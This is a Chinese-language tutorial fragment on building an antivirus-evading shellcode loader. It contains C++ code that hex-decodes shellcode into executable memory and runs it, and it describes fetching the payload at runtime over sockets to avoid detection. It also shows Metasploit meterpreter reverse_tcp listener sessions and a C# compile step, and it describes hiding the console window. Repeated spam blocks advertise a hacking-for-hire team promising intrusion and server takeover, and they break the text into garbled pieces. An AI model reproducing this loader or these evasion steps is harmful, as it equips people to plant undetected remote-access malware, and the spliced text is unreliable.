上方的扫描结果依然会报毒,原因就是ShellCode已经被捕捉了特征,这里我们将动态加载ShellCode。它不是使用已编写到二进制文件中的ShellCode编译可执行文件,而是在运行时动态获取ShellCode代码,并将其动态的加载到内存中执行,从而做到ShellCode与加载器的分离,减少误报的概率:
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
#include <Windows.h>
#include <iostream>
#include <string>
#include <cstring>
#include <winhttp.h>
#include <stdlib.h>
#pragma comment(lib,"winhttp.lib")
using namespace std;
LPSTR get_shellcode(){
return 0;
}
int main(int argc,char **argv){
LPSTR hex_instructions = get_shellcode();
const char* ShellCode = hex_instructions;
int shellcode_length = strlen(ShellCode);
unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length / 2; count++){
sscanf(ShellCode, "%2hhx", &value[count]);
ShellCode += 2;
}
void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, value, shellcode_length /2 );
((void(*)())exec)();
return 0;
}
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
但是这些函数,很容易就被杀软盯上,但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如WinInet,WinHTTP和Windows套接字。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,则任何防病毒引擎都不再将下载代码标记为可疑:
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
在MFS控制主机,启动侦听程序:
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.7:8888
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
使用C #编译器编译这段代码,这里我保存为了lyshark.cs你可以自行命名,最终编译出来的代码才5kb不到:
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
C:\Users\lyshark\Desktop>csc /unsafe /platform:x64 /out:lyshark.exe lyshark.cs
Microsoft (R) Visual C# Compiler version 4.7.3190.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
我们在其上方加入一段屏蔽控制台窗口的代码,来实现隐藏控制台窗口,最终代码如下:
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.30:8888
msf5 exploit(multi/handler) > sessions -i
#数据永不变 #无痕修改 #下款无忧
#实力的见证 #真实独家 #信赖互利
#眼见为实 #技术说话 #免费测线路
渗透技术团队,#可渗透,#可拿后台,#可更改服务器,#可入侵 #不中改中
@ksenfk34we65fwelk